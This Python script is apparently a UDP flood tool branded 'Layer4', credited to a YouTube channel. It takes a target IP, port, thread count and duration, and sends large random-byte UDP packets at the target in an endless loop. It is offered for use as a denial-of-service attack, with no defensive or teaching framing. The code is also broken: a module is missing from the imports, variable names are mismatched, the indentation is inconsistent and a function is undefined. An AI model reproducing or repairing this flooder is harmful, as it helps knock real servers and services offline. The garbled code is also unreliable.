import socket
import random
import sys
import time
import os

if len(sys.argv) == 1:
	print ("""
'##::::::::::'###::::'##:::'##:'########:'########::'##::::::::
 ##:::::::::'## ##:::. ##:'##:: ##.....:: ##.... ##: ##:::'##::
 ##::::::::'##:. ##:::. ####::: ##::::::: ##:::: ##: ##::: ##::
 ##:::::::'##:::. ##:::. ##:::: ######::: ########:: ##::: ##::
 ##::::::: #########:::: ##:::: ##...:::: ##.. ##::: #########:
 ##::::::: ##.... ##:::: ##:::: ##::::::: ##::. ##::...... ##::
 ########: ##:::: ##:::: ##:::: ########: ##:::. ##::::::: ##::
........::..:::::..:::::..:::::........::..:::::..::::::::..:::
       Powered by https://www.youtube.com/XionSec \n\n""")
	print ('[Layer4] Usage: python Layer4.py (IP) (PORT) (THREADS) (TIME)')
	print ('[Layer4] Usage: python Layer4.py 127.0.0.1 80 2048 120')
def threads():
    for a in range(thr):
        x = threading.Thread(target=attack)
        x.start()
    global oo
    oo = True

oo = False
def attack():
	global thr
	port = int(sys.argv[2])
	ip = sys.argv[1]
	thr = int(sys.argv[3])
	dur = int(sys.argv[4])
	relog=(lambda:0,time.clock)[dur>0]
	duracion=(1,(reloj()+dur))[dur>0]
	s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	bytes = random._urandom(15000)
	os.system("cls || clear")
	print ("""
##          ###    ##    ## ######## ########  ##
##         ## ##    ##  ##  ##       ##     ## ##    ##
##        ##   ##    ####   ##       ##     ## ##    ##
##       ##     ##    ##    ######   ########  ##    ##
##       #########    ##    ##       ##   ##   #########
##       ##     ##    ##    ##       ##    ##        ##
######## ##     ##    ##    ######## ##     ##       ##
       Powered by https://www.youtube.com/XionSec \n\n""")
	print ("[Layer4] Attacking IP: %s with PORT: %s in a TIME: %s with THREADS: %s", ip, port, dur, thr)
	while True:
		if relog()<duracion:
			s.sendto(bytes,(ip, port))
        else:
        	close()
attack()